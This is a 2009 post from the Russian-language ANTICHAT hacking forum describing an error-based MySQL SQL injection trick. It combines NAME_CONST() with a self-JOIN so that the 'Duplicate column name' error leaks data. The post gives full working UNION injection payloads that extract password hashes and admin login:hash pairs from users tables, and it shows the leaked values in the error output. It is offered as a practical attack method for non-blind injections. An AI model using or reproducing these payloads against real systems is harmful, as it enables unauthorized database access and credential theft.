ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
   
 
 
Опции темы Поиск в этой теме Опции просмотра

From ROA with love
  #14  
Старый 01.09.2009, 11:00
Qwazar
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме:
10605912

Репутация: 4693


По умолчанию From ROA with love

Итак, развиваем тему "more 1 row".

Зачем слать по 40 запросов на хеш? Почему бы нам не вытянуть всё поле из БД сразу.

Для этого вспоминаем мой метод получения имён полей из БД:

Цитата:
-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b)a
Выведет имя поля, присутствуещего с двух сторон оператора JOIN: #1060 - Duplicate column name 'id'

А что если попытаться подставить значение из базы, в качестве имени одного из полей?

На поиск такого варианта я потратил много времени и решение было найдено:

Функция NAME_CONST()

Цитата:
mysql> SELECT NAME_CONST('myname', 14);
+--------+
| myname |
+--------+
| 14 |
+--------+
Пробуем, и получаем рабочий запрос:

Цитата:
SELECT 1 FROM news WHERE id=-1 UNION SELECT * FROM (SELECT * FROM (SELECT NAME_CONST((SELECT passhash FROM users LIMIT 1), 14)d) as t JOIN (SELECT NAME_CONST((SELECT passhash FROM users LIMIT 1), 14)e) b)a
Результат работы:
#1060 - Duplicate column name 'f8d80def69dc3ee86c5381219e4c5c80'


И вот ещё пример от jokester:
Цитата:
mysql> select username from AEF.aef_users where id=1 union select * FROM (SELECT * FROM (SELECT NAME_CONST((SELECT concat_ws(0x3a,user_loginname,user_password) FROM e107.e107_user LIMIT 1), 14)d) as t
JOIN (SELECT NAME_CONST((SELECT concat_ws(0x3a,user_loginname,user_password) FROM e107.e107_user LIMIT 1), 14)e) b)a;
Цитата:
ERROR 1060 (42S21): Duplicate column name 'admin:21232f297a57a5a743894a0e4a801fc3'
Ну и в неслепых скулях этим можно пользоваться если лень подбирать кол-во колонок.

Требования: MySQL=5.0.*, на 6й ветке не проверял, если кто проверит - отпишитесь.

Первым идею выводить значение поля в тексте ошибки, мне предложил Jokester (не забываем передавать спасибо и ему). На поиск варианта практической реализации, мной было потрачено около двух месяцев...

P.S.
Ну что, кто сможет быстрее??

UPD:
У меня текст имени колонки выводимой в ошибке, режется до 64 символов
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..

Мой блог:http://qwazar.ru/.

Последний раз редактировалось Qwazar; 01.09.2009 в 11:03..
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
Внедрение Sql кода с завязанными глазами k00p3r Чужие Статьи 0 12.06.2005 20:48
SQL Injection для чайников, взлом ASP+MSSQL k00p3r Чужие Статьи 0 12.06.2005 12:42
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ